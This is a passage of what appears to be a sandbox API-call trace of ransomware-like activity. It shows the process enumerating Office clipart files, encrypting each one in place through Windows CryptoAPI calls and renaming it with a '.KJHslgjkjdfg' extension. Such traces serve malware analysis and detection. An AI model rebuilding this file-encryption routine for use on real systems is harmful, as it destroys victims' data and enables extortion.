(in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.071] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.071] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.072] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40f2, lpOverlapped=0x0) returned 1 [0183.072] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4100, dwBufLen=0x4100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4100) returned 1 [0183.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.073] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4100, lpOverlapped=0x0) returned 1 [0183.073] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.073] SetEndOfFile (hFile=0x114) returned 1 [0183.075] GetProcessHeap () returned 0x2a0000 [0183.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.075] GetProcessHeap () returned 0x2a0000 [0183.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.kjhslgjkjdfg")) returned 1 [0183.077] CloseHandle (hObject=0x114) returned 1 [0183.077] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0183.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.077] GetProcessHeap () returned 0x2a0000 [0183.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.078] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.078] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0183.080] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.080] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.080] GetProcessHeap () returned 0x2a0000 [0183.080] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.080] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.080] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.080] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.081] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.081] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.081] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.081] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.081] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.081] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.081] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b02, lpOverlapped=0x0) returned 1 [0183.082] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b10, dwBufLen=0x4b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b10) returned 1 [0183.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.082] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b10, lpOverlapped=0x0) returned 1 [0183.082] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.083] SetEndOfFile (hFile=0x114) returned 1 [0183.085] GetProcessHeap () returned 0x2a0000 [0183.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.085] GetProcessHeap () returned 0x2a0000 [0183.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.kjhslgjkjdfg")) returned 1 [0183.086] CloseHandle (hObject=0x114) returned 1 [0183.086] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0183.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.087] GetProcessHeap () returned 0x2a0000 [0183.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.087] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.089] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.089] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.089] GetProcessHeap () returned 0x2a0000 [0183.089] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.089] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.089] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.090] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.090] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.090] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.090] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.090] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.090] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x423a, lpOverlapped=0x0) returned 1 [0183.091] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240, dwBufLen=0x4240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240) returned 1 [0183.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.091] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4240, lpOverlapped=0x0) returned 1 [0183.091] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.091] SetEndOfFile (hFile=0x114) returned 1 [0183.094] GetProcessHeap () returned 0x2a0000 [0183.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.094] GetProcessHeap () returned 0x2a0000 [0183.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.kjhslgjkjdfg")) returned 1 [0183.095] CloseHandle (hObject=0x114) returned 1 [0183.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0183.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.097] GetProcessHeap () returned 0x2a0000 [0183.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.097] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.097] GetProcessHeap () returned 0x2a0000 [0183.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.099] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.100] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.100] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4180, lpOverlapped=0x0) returned 1 [0183.101] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4180, dwBufLen=0x4180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4180) returned 1 [0183.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.101] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4180, lpOverlapped=0x0) returned 1 [0183.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.101] SetEndOfFile (hFile=0x114) returned 1 [0183.104] GetProcessHeap () returned 0x2a0000 [0183.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.104] GetProcessHeap () returned 0x2a0000 [0183.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.kjhslgjkjdfg")) returned 1 [0183.105] CloseHandle (hObject=0x114) returned 1 [0183.105] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0183.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.106] GetProcessHeap () returned 0x2a0000 [0183.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.106] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.109] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.109] GetProcessHeap () returned 0x2a0000 [0183.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.109] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.109] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.109] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.109] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.109] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2dfa, lpOverlapped=0x0) returned 1 [0183.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e00, dwBufLen=0x2e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e00) returned 1 [0183.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.111] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e00, lpOverlapped=0x0) returned 1 [0183.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ed4, lpNewFilePointer=0x0, 